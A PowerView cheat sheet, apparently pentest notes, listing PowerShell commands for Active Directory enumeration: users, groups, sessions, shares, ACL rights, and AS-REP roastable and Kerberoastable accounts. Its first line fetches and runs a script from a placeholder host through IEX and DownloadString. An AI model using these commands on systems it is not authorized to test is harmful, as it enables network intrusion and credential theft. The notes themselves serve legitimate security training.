🔎Powerview
IEX (New-Object System.Net.WebClient).DownloadString('http://<ip>/PowerView.ps1')Import-Module .\PowerView.ps1loading module to powershell, if it gives error then change execution policy
Basic information about the domain:
Get-NetDomainList of all users in the domain:
Get-NetUser The above command's outputs can be filtered using "select" command. For example,
Get-NetUser | select cnhere cn is side-heading for the output of above command. we can select any number of them separated by comma.
Specific User
Get-NetUser "user"Enumerate domain groups
Get-NetGroupInformation from specific group
Get-NetGroup "group name"Enumerate the computer objects in the domain
Get-NetComputerScans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain
Find-LocalAdminAccessChecking logged on users with Get-NetSession, adding verbosity gives more info.
Get-NetSession -ComputerName files04 -VerboseListing SPN accounts in domain
Get-NetUser -SPN | select samaccountname,serviceprincipalnameEnumerates ACE(access control entities), lists SID(security identifier). ObjectSID
Get-ObjectAcl -Identity <user>Converting SID/ObjSID to name
Convert-SidToName <sid/objsid>Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtoname
Get-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights Find the shares in the domain
Find-DomainShareIdentifying AS-REP roastable accounts
Get-DomainUser -PreauthNotRequired -verboseKerberoastable accounts
Get-NetUser -SPN | select serviceprincipalnameLast updated
Was this helpful?